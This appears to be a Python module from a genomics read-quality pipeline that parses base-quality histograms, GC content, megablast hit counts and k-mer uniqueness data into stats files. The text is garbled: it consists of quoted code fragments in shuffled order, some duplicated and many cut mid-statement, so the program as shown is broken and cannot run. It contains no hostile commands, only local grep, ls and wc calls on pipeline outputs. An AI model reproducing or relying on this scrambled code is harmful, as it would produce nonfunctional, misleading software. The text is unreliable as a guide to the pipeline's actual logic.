dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg == 25: Q25_seen = 1 statsPerc[25] = cummlatPer", "# log.error(\"- qhist file not found: %s\" % (qrpt)) # return None #", "= cummlatPer statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg", "%s\" % (top100hitFile), True, log) top100hitFound = top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE +", "1 statsPerc[10] = statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase", "% (bqHist)) q20 = None if os.path.isfile(bqHist): with open(bqHist, \"r\") as qrptFH: for", "Max_count # ## 1 378701 2 34 12447306 32.87 31 34 34 3", "10 and qavg > 5 and Q10_seen == 0: Q10_seen = 1 stats[10]", "cummlatPer statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg ==", "rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from readqc_constants import RQCReadQcConfig, ReadqcStats from rqc_constants import", "!= 0: Q10_seen = 1 statsPerc[10] = statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] =", "l.split() assert len(t) == 3 qavg = int(t[0]) percent = float(t[2]) * 100.0", "= l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_STD] = l.split('\\t')[1] continue", "in qrptFH: # num += 1 # # if num == 1: #", "folder wkdir/uniqueness Returns : JGI_SUCCESS: Illumina read level report could be successfully generated.", "+/- 0.112691> if len(line) == 0 or not line.startswith(\"#Found\"): log.error(\"- GC content hist", "last line t = lines[-1].split('\\t') # breaks 2016-09-07 #assert len(t) == 5 totalMers", "called at the very end of the illumina base level data processing script.", "Q10_seen == 0 and Q15_seen != 0: Q10_seen = 1 stats[10] = stats[15]", "Comments : This function is intended to be called at the very end", "Usage : read_megablast_hits(db_name, log) Args : blast db name or full path Returns", "return q20 \"\"\" Title : read_level_qual_stats Function : Generate qual scores and plots", "%s\" % (qavg, nbase, percent)) cummlatPer += percent * 100.0 cummlatPer = float(\"%.f\"", "0: log.error(\"Q30 is 0. Base quality values are ZERO.\") log.debug(\"Q and C values:", "num = 0 # # if os.path.isfile(qrpt): # with open(qrpt, \"r\") as qrptFH:", "%s\" % \\ (stats[30], stats[25], stats[20], stats[15], stats[10], stats[5])) retCode = RQCExitCodes.JGI_SUCCESS else:", "#! /usr/bin/env python # -*- coding: utf-8 -*- \"\"\" Readqc report: record stat", "= cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg", "else: log.error(\"- qhist file not found: %s\" % (dataFile)) return retCode \"\"\" Title", "{30:0, 25:0, 20:0, 15:0, 10:0, 5:0} Q30_seen = 0 Q25_seen = 0 Q20_seen", "return RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast hits for %s.\" % (db)) return RQCExitCodes.JGI_SUCCESS", "file found. t = matchings.split() if len(t) == 1 and t[0].isdigit(): hitCount =", "taxonomic species ## spe = 0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species,", "10 and Q15_seen == 0: Q15_seen = 1 stats[15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] =", "file %s\" % (qrpt)) # # q20 = None # num = 0", "78020 117740 58 378701 # ## # ## or # ## # ##", "cummlatPer elif qavg <= 15 and qavg > 10 and Q15_seen == 0:", "= l.strip() ## ## obqhist file format example ## # #Median 36 #", "0 6900 0 36 33.48 33 34 34 29 36 6900 0 36", "cummlatPer = 0 cummlatBase = 0 statsPerc = {30:0, 25:0, 20:0, 15:0, 10:0,", "= 0.0 Q30_seen = 0 Q25_seen = 0 Q20_seen = 0 Q15_seen =", "file = %s\" % (bqHist)) q20 = None if os.path.isfile(bqHist): with open(bqHist, \"r\")", "= histFH.readline() ## we only need the first line # Ex) #Found 1086", "-v '^#' %s 2>/dev/null | wc -l \" % (taxlistFile), True, log) t", "%s\" % (qhistTxtFullPath)) return retCode \"\"\" Title : read_gc_mean Function : This function", "q20 = None if os.path.isfile(bqHist): with open(bqHist, \"r\") as qrptFH: for l in", "= int(t[0]) + 1 if readNum == 1: mean = float(t[4]) else: mean", "readqc_constants import RQCReadQcConfig, ReadqcStats from rqc_constants import RQCExitCodes from os_utility import run_sh_command from", "cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase elif qavg == 5: Q5_seen =", "#STDev 5.890 # #Mean_30 35.303 # #STDev_30 1.517 # #Quality bases fraction #", "float(\"%.f\" % (cummlatPer)) if cummlatPer > 100: cummlatPer = 100.0 ## RQC-621 cummlatBase", "Usage : read_gc_mean($analysis) Args : 1) A reference to an JGI_Analysis object Returns", "GC content % and its standard deviation and put them into database. Usage", "77148 97953 88998 7029 378701 # ## 3 378701 2 34 7131741 18.83", "GC content hist text file does not contains right results: %s, %s\" %", "114618 0 378701 # ## 5 378701 2 37 10208226 26.96 25 33", "% (db)) return RQCExitCodes.JGI_FAILURE else: log.info(\"- No blast hits for %s.\" % (db))", "ZERO.\") log.debug(\"Q and C values: %s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title :", "== 0 and Q25_seen != 0: Q20_seen = 1 statsPerc[20] = statsPerc[25] statsBase[20]", "database. Usage : read_gc_mean($analysis) Args : 1) A reference to an JGI_Analysis object", "\"megablast.*.%s*.parsed\" % (db)) matchings, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null |", "top100hits = 0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species, _, exitCode =", "= cummlatBase if Q15_seen == 0 and Q20_seen != 0: Q15_seen = 1", "98519 0 378701 # ## 3 378701 2 34 12519460 33.06 33 34", "= cummlatPer elif qavg <= 20 and qavg > 15 and Q20_seen ==", "'^#' %s 2>/dev/null | wc -l \" % (top100hitFile), True, log) t =", "run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (tophitFile), True, log)", "= 0 Q5_seen = 0 if os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0, 20:0, 15:0,", "len(line) == 0 or not line.startswith(\"#Found\"): log.error(\"- GC content hist text file does", "tophits, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \"", "sys.path.append(os.path.join(srcDir, '../lib')) ## rqc-pipeline/lib sys.path.append(os.path.join(srcDir, '../tools')) ## rqc-pipeline/tools from readqc_constants import RQCReadQcConfig, ReadqcStats", "# # if os.path.isfile(qrpt): # with open(qrpt, \"r\") as qrptFH: # for l", "= int(t[0]) percent = float(t[2]) * 100.0 ## 20140826 Changed for bbtools cummlatPer", "# -*- coding: utf-8 -*- \"\"\" Readqc report: record stat key-value in readqc-stats.txt", "= float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_RANDOM_MERS] = uniqRandtMerPer", "with open(bqHist, \"r\") as qrptFH: for l in qrptFH: if l.startswith('#'): continue ##", "1 statsPerc[25] = statsPerc[30] statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase", "True, log) top100hitFound = top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" +", "float(t[5]) # # if mean and pos: # if mean < 20: #", "#2 12175 0.00593 #3 0 0.00000 #4 0 0.00000 #5 0 0.00000 #6", ". Read quality values are ZERO.\") log.debug(\"Q30 %s, Q25 %s, Q20 %s, Q15", "\" % (parsedFile), True, log) if exitCode == 0: ## if parsed file", "first line # Ex) #Found 1086 total values totalling 420.3971. <0.387106 +/- 0.112691>", "blast hits for %s.\" % (db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats Function", "= int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" + db, topHit, log) ## ##", "from readqc_constants import RQCReadQcConfig, ReadqcStats from rqc_constants import RQCExitCodes from os_utility import run_sh_command", "to an JGI_Analysis object 2) current working folder wkdir/uniqueness Returns : JGI_SUCCESS: Illumina", "matchings = 0 hitCount = 0 parsedFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed\" % (db)) matchings,", "0.00000 # 5 0 0.00000 # 6 0 0.00000 if len(l) > 0:", "# #STDev 5.890 # #Mean_30 35.303 # #STDev_30 1.517 # #Quality bases fraction", "statsPerc[10] = statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] = cummlatBase if", "log): mean = 0.0 stdev = 0.0 retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with", "line.startswith(\"#Found\"): log.error(\"- GC content hist text file does not contains right results: %s,", "= 0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" % (db)) species, _, exitCode = run_sh_command(\"grep", "378701 2 34 12519460 33.06 33 34 34 1 32 34 104668 72341", "cummlatBase elif qavg == 5: Q5_seen = 1 statsPerc[5] = cummlatPer statsBase[5] =", "52.148 59.480 13037 14870 #75000 46.592 53.444 11648 13361 #100000 43.072 49.184 10768", "%s 2>/dev/null | wc -l \" % (top100hitFile), True, log) t = species.split()", "cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif qavg == 20: Q20_seen =", "= float(toks[8][:-1]) * 100.0 log.debug(\"mean, stdev = %.2f, %.2f\" % (mean, stdev)) retCode", "append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" + db, os.path.join(megablastPath, taxListFound), log) else: log.error(\"- Failed", "34 107573 77148 97953 88998 7029 378701 # ## 3 378701 2 34", "33.48 33 34 34 29 36 pos = None mean = None t", "elif qavg <= 20 and qavg > 15 and Q20_seen == 0: Q20_seen", "and Q15_seen != 0: Q10_seen = 1 stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer", "## ## obqhist file format example ## # #Median 36 # #Mean 33.298", "histFH.readline() ## we only need the first line # Ex) #Found 1086 total", "an JGI_Analysis object 2) current working folder wkdir/uniqueness Returns : JGI_SUCCESS: Illumina read", "RQCExitCodes.JGI_FAILURE ## ## wc the top hits ## topHit = 0 tophitFile =", "= 0 Q25_seen = 0 Q20_seen = 0 Q15_seen = 0 Q10_seen =", "= 1 statsPerc[15] = statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] =", "statsPerc[25] = cummlatPer statsBase[25] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase elif", "cummlatBase if Q5_seen == 0 and Q10_seen != 0: Q5_seen = 1 statsPerc[5]", "stats[10] = stats[15] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer if Q5_seen == 0 and Q10_seen !=", "Args : 1) A reference to an JGI_Analysis object 2) current working folder", "% (db)) tophits, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc", "13037 14870 #75000 46.592 53.444 11648 13361 #100000 43.072 49.184 10768 12296 ...", "stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg <= 5 and Q5_seen ==", "= run_sh_command(\"grep -v '^#' %s 2>/dev/null | wc -l \" % (top100hitFile), True,", "statsBase[25] = statsBase[30] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q25] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C25] = cummlatBase if Q20_seen == 0", "top100hitFound = top100hitFound.strip() if top100hitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOP100HIT_FILE + \" \" + db, os.path.join(megablastPath,", "value is missing. if Q25_seen == 0 and Q30_seen != 0: Q25_seen =", "current working folder wkdir/uniqueness Returns : JGI_SUCCESS: Illumina read level report could be", "float(t[4]) else: mean = float(t[13]) if mean and pos: if mean < 20:", "117740 58 378701 # ## # ## or # ## # ## READ2.qrpt", "t = l.split(\"\\t\") pos = int(t[0]) + 1 if readNum == 1: mean", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg <= 25 and qavg > 20", "statsBase[15] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg == 10:", "tophitFound), log) else: log.error(\"- Failed to add megablast tophit file of %s.\" %", "Q25_seen = 1 stats[25] = stats[30] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer if Q20_seen == 0", "-v '^#' %s 2>/dev/null | wc -l \" % (top100hitFile), True, log) t", "log.debug(\"qrpt file %s\" % (qrpt)) # # q20 = None # num =", "= cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg == 15: Q15_seen", "80992 120700 0 378701 # ## 4 378701 2 37 13807944 36.46 37", "33.48 33 34 34 29 36 6900 0 36 33.48 33 34 34", "* 100.0 log.debug(\"mean, stdev = %.2f, %.2f\" % (mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS", "(tophitFile), True, log) tophitFound = tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \"", "# continue # # ############## # ## Old format # ## READ1.qrpt #", "#STDev_30 1.517 # #Quality bases fraction # 0 77098 0.00043 # 1 0", "C_Count G_Count T_Count N_Count Max_count # ## 1 378701 2 34 8875097 23.44", "retCode = RQCExitCodes.JGI_FAILURE ## Old data #nSeq nStartUniMer fracStartUniMer nRandUniMer fracRandUniMer ## 0", "5:0} Q30_seen = 0 Q25_seen = 0 Q20_seen = 0 Q15_seen = 0", "append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_HITS + \" \" + db, topHit, log) ## ## wc the", "19022 #50000 52.148 59.480 13037 14870 #75000 46.592 53.444 11648 13361 #100000 43.072", "None if os.path.isfile(bqHist): with open(bqHist, \"r\") as qrptFH: for l in qrptFH: if", "log) if parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" + db,", "= 1 stats[10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q10] = cummlatPer elif qavg <= 5 and", "by bbcountunique uniqStartMerPer = float(\"%.2f\" % (float(t[1]))) uniqRandtMerPer = float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE]", "qhist file not found: %s\" % (dataFile)) return retCode \"\"\" Title : base_level_qual_stats", "Title : base_level_qual_stats Function : Generate qual scores and plots of read level", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer elif qavg <= 10 and qavg > 5 and Q10_seen", "# ## 4 378701 2 37 13807944 36.46 37 37 37 0 37", "as qrptFH: # for l in qrptFH: # num += 1 # #", "378701 # ## 5 378701 2 37 10208226 26.96 25 33 35 10", "0.3882 ## New data #count first rand first_cnt rand_cnt # 0 1 2", "= cummlatBase elif qavg == 10: Q10_seen = 1 statsPerc[10] = cummlatPer statsBase[10]", "## Double check that no value is missing. if Q25_seen == 0 and", "IQR lW rW A_Count C_Count G_Count T_Count N_Count Max_count # ## 1 378701", "34 96452 83003 107891 91355 0 378701 # ## 4 378701 2 37", "34 1 32 34 104668 72341 80992 120700 0 378701 # ## 4", "RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score Function : this method returns Q20 using a", "if parsed file found. t = matchings.split() if len(t) == 1 and t[0].isdigit():", "\"megablast.*.%s*.parsed.top100hit\" % (db)) species, _, exitCode = run_sh_command(\"grep -v '^#' %s 2>/dev/null |", "rand_cnt # 0 1 2 3 4 #25000 66.400 76.088 16600 19022 #50000", "t = l.split(\"\\t\") # assert len(t) > 6 # pos = int(t[0]) #", "36 33.48 33 34 34 29 36 pos = None mean = None", "return RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats Function : Generate qual scores and plots", "0.0 retCode = RQCExitCodes.JGI_FAILURE if os.path.isfile(histFile): with open(histFile, \"r\") as histFH: line =", "159 0.00008 #1 0 0.00000 #2 12175 0.00593 #3 0 0.00000 #4 0", "N_Count Max_count # ## 1 378701 2 34 12447306 32.87 31 34 34", "% (bqHist)) return None return q20 \"\"\" Title : read_level_qual_stats Function : Generate", "ZERO.\") log.debug(\"Q30 %s, Q25 %s, Q20 %s, Q15 %s, Q10 %s, Q5 %s\"", "log.debug(\"base_level_qual_stats(): qavg and nbase and percent: %s %s %s\" % (qavg, nbase, percent))", "file. Returns : a number of Q20 score Comments : \"\"\" # def", "min_2 max_2 mean_2 Q1_2 med_2 Q3_2 LW_2 RW_2 # 0 6900 0 36", "#Median 36 # #Mean 33.298 # #STDev 5.890 # #Mean_30 35.303 # #STDev_30", "33 34 34 29 36 pos = None mean = None t =", "for %s.\" % (db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats Function : Generate", "= statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase if Q10_seen == 0 and", "33 34 34 1 32 34 104668 72341 80992 120700 0 378701 #", "(<EMAIL>) \"\"\" import os import sys ## custom libs in \"../lib/\" srcDir =", "import sys ## custom libs in \"../lib/\" srcDir = os.path.dirname(__file__) sys.path.append(os.path.join(srcDir, 'tools')) ##", "= RQCExitCodes.JGI_FAILURE cummlatPer = 0.0 Q30_seen = 0 Q25_seen = 0 Q20_seen =", "5 0 0.00000 # 6 0 0.00000 if len(l) > 0: if l.startswith(\"#\"):", "1 stats[30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q30] = cummlatPer elif qavg <= 25 and qavg", "##Mean_30 37.823 ##STDev_30 1.699 ##Quality bases fraction #0 159 0.00008 #1 0 0.00000", "# ## # ## or # ## # ## READ2.qrpt # ## column", "in qrptFH: if l.startswith('#'): continue ## New data # 0 1 2 3", "and pos: if mean < 20: return pos - 1 else: q20 =", "and add taxlist file ## taxListFound, _, exitCode = run_sh_command(\"ls %s\" % (taxlistFile),", "\" + db, os.path.join(megablastPath, tophitFound), log) else: log.error(\"- Failed to add megablast tophit", "# # ############## # ## Old format # ## READ1.qrpt # ## column", "dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase elif qavg == 15: Q15_seen = 1 statsPerc[15] = cummlatPer", "= None percent = None t = l.split() try: qavg = int(t[0]) nbase", "0 # # if os.path.isfile(qrpt): # with open(qrpt, \"r\") as qrptFH: # for", "and t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS + \" \" + db, hitCount,", "34 3 27 34 108573 83917 81999 104127 85 378701 # ## 2", "number of Q20 score Comments : \"\"\" # def q20_score(qrpt, log): # log.debug(\"qrpt", "log.debug(\"mean, stdev = %.2f, %.2f\" % (mean, stdev)) retCode = RQCExitCodes.JGI_SUCCESS else: log.error(\"-", "matchings.split() if len(t) == 1 and t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_MATCHING_HITS +", "Returns : a number of Q20 score Comments : \"\"\" # def q20_score(qrpt,", "megablast tophit file of %s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and", "0: Q15_seen = 1 statsPerc[15] = statsPerc[20] statsBase[15] = statsBase[20] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer", "RQCReadQcConfig, ReadqcStats from rqc_constants import RQCExitCodes from os_utility import run_sh_command from common import", "qrpt file as input Usage : JGI_QC_Utility::qc20_score($qrpt) Args : $_[0] : qrpt file.", "tophitFound = tophitFound.strip() if tophitFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TOPHIT_FILE + \" \" + db, os.path.join(megablastPath,", "dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q25] = cummlatPer elif qavg <= 20 and qavg > 15 and Q20_seen", "t = matchings.split() if len(t) == 1 and t[0].isdigit(): hitCount = int(t[0]) append_rqc_stats(statsFile,", "cummlatPer statsBase[30] = cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C30] = cummlatBase elif qavg ==", "## Find and add tophit file ## tophitFound, _, exitCode = run_sh_command(\"ls %s\"", "cummlatPer > 100: cummlatPer = 100.0 ## RQC-621 cummlatBase += nbase if qavg", "and Q25_seen != 0: Q20_seen = 1 stats[20] = stats[25] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer", "C values: %s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score Function :", "cummlatBase dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q15] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C15] = cummlatBase elif qavg == 10: Q10_seen =", "14 15 16 17 18 ##BaseNum count_1 min_1 max_1 mean_1 Q1_1 med_1 Q3_1", "break if l.startswith('#'): continue t = l.split() assert len(t) == 3 qavg =", "378701 # ## # ## or # ## # ## READ2.qrpt # ##", "count_2 min_2 max_2 mean_2 Q1_2 med_2 Q3_2 LW_2 RW_2 # 0 6900 0", "is intended to be called at the very end of the illumina base", "%s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : q20_score Function : this method", "%s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## wc the top hits ## topHit", "the top 100 hit ## top100hits = 0 top100hitFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.top100hit\" %", "0 and Q25_seen != 0: Q20_seen = 1 statsPerc[20] = statsPerc[25] statsBase[20] =", "## # #Median 36 # #Mean 33.298 # #STDev 5.890 # #Mean_30 35.303", "(bqHist)) q20 = None if os.path.isfile(bqHist): with open(bqHist, \"r\") as qrptFH: for l", "= cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C20] = cummlatBase if Q15_seen == 0 and Q20_seen != 0:", "Q1_1 med_1 Q3_1 LW_1 RW_1 count_2 min_2 max_2 mean_2 Q1_2 med_2 Q3_2 LW_2", "illumina read level data processing script. \"\"\" def read_level_qual_stats(dataToRecordDict, qhistTxtFullPath, log): retCode =", "0 and Q15_seen != 0: Q10_seen = 1 statsPerc[10] = statsPerc[15] statsBase[10] =", "## 0 1 2 3 4 ##25000 2500 0.1 9704 0.3882 ## New", "log.error(\"Q30 is 0 . Read quality values are ZERO.\") log.debug(\"Q30 %s, Q25 %s,", "level data processing script. \"\"\" def base_level_qual_stats(dataToRecordDict, reformatObqhistFile, log): cummlatPer = 0 cummlatBase", "== 0: Q20_seen = 1 stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg", "+= 1 # # if num == 1: # continue # # ##############", "34 12519460 33.06 33 34 34 1 32 34 104668 72341 80992 120700", "cummlatBase if Q20_seen == 0 and Q25_seen != 0: Q20_seen = 1 statsPerc[20]", "##STDev_30 1.699 ##Quality bases fraction #0 159 0.00008 #1 0 0.00000 #2 12175", "= 1 statsPerc[10] = statsPerc[15] statsBase[10] = statsBase[15] dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q10] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_BASE_C10] =", "values are ZERO.\") log.debug(\"Q and C values: %s\" % (dataToRecordDict)) return RQCExitCodes.JGI_SUCCESS \"\"\"", "0 0.00000 # 3 0 0.00000 # 4 0 0.00000 # 5 0", "int(t[1]) percent = float(t[2]) except IndexError: log.warn(\"parse error in base_level_qual_stats: %s %s %s", "97953 88998 7029 378701 # ## 3 378701 2 34 7131741 18.83 16", "13790443 36.42 37 37 37 0 37 37 114586 68297 78020 117740 58", "49.184 10768 12296 ... if os.path.isfile(dataFile): with open(dataFile, \"r\") as merFH: lines =", "LW_2 RW_2 # 0 6900 0 36 33.48 33 34 34 29 36", "if l.startswith(\"#Mean_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_MEAN] = l.split('\\t')[1] elif l.startswith(\"#STDev_30\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_Q30_SCORE_STD] = l.split('\\t')[1] elif l.startswith(\"#Mean\"): dataToRecordDict[ReadqcStats.ILLUMINA_BASE_OVERALL_BASES_Q_SCORE_MEAN]", "%s\" % (histFile, line)) retCode = RQCExitCodes.JGI_FAILURE else: toks = line.split() assert len(toks)", "species ## spe = 0 taxlistFile = os.path.join(megablastPath, \"megablast.*.%s*.parsed.taxlist\" % (db)) species, _,", "os.path.isfile(qrpt): # with open(qrpt, \"r\") as qrptFH: # for l in qrptFH: #", "t[0].isdigit(): top100hits = int(t[0]) append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TOP_100HITS + \" \" + db, top100hits, log)", "l = l.strip() ## ## obqhist file format example ## # #Median 36", ": read_gc_mean($analysis) Args : 1) A reference to an JGI_Analysis object Returns :", "and Q30_seen != 0: Q25_seen = 1 statsPerc[25] = statsPerc[30] statsBase[25] = statsBase[30]", "= 1 stats[15] = stats[20] dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q15] = cummlatPer if Q10_seen == 0 and", "stats[20] = cummlatPer dataToRecordDict[ReadqcStats.ILLUMINA_READ_Q20] = cummlatPer elif qavg <= 15 and qavg >", "as histFH: line = histFH.readline() ## we only need the first line #", "2 378701 2 34 12515957 33.05 33 34 34 1 32 34 112178", "hits for %s.\" % (db)) return RQCExitCodes.JGI_SUCCESS \"\"\" Title : read_level_qual_stats Function :", "%s.\" % (db)) return RQCExitCodes.JGI_FAILURE ## ## Find and add tophit file ##", "JGI_Analysis_Utility_Illumina::illumina_read_level_report Created: Jul 24 2013 sulsj (<EMAIL>) \"\"\" import os import sys ##", "%s, Q20 %s, Q15 %s, Q10 %s, Q5 %s\" % \\ (stats[30], stats[25],", ": blast db name or full path Returns : SUCCESS FAILURE Comments :", "6543224 17.28 15 16 26 11 2 34 107573 77148 97953 88998 7029", "RQCExitCodes.JGI_SUCCESS else: log.error(\"- gc hist file not found: %s\" % (histFile)) return retCode,", "filesFile = RQCReadQcConfig.CFG[\"files_file\"] \"\"\" Title : read_megablast_hits Function : This function generates tophit", "Function : this method returns Q20 using a qrpt file as input Usage", "37 37 37 0 37 37 96935 95322 83958 102440 46 378701 #", "plots of read level QC Usage : read_level_qual_stats($analysis, $) Args : 1) A", "hitCount, log) ## ## add .parsed file ## parsedFileFound, _, exitCode = run_sh_command(\"ls", "qavg > 10 and Q15_seen == 0: Q15_seen = 1 stats[15] = cummlatPer", "True, log) if parsedFileFound: parsedFileFound = parsedFileFound.strip() append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_PARSED_FILE + \" \" +", "Q3_1 LW_1 RW_1 count_2 min_2 max_2 mean_2 Q1_2 med_2 Q3_2 LW_2 RW_2 #", "% (float(t[1]))) uniqRandtMerPer = float(\"%.2f\" % (float(t[2]))) dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_SAMPLE_SIZE] = totalMers dataToRecordDict[ReadqcStats.ILLUMINA_READ_20MER_PERCENTAGE_STARTING_MERS] = uniqStartMerPer", "= 0 if os.path.isfile(qhistTxtFullPath): stats = {30:0, 25:0, 20:0, 15:0, 10:0, 5:0} allLines", "taxListFound.strip() if taxListFound: append_rqc_file(filesFile, ReadqcStats.ILLUMINA_READ_TAXLIST_FILE + \" \" + db, os.path.join(megablastPath, taxListFound), log)", "append_rqc_stats(statsFile, ReadqcStats.ILLUMINA_READ_TAX_SPECIES + \" \" + db, spe, log) ## ## wc the", "function is intended to be called at the very end of the illumina", "exitCode = run_sh_command(\"ls 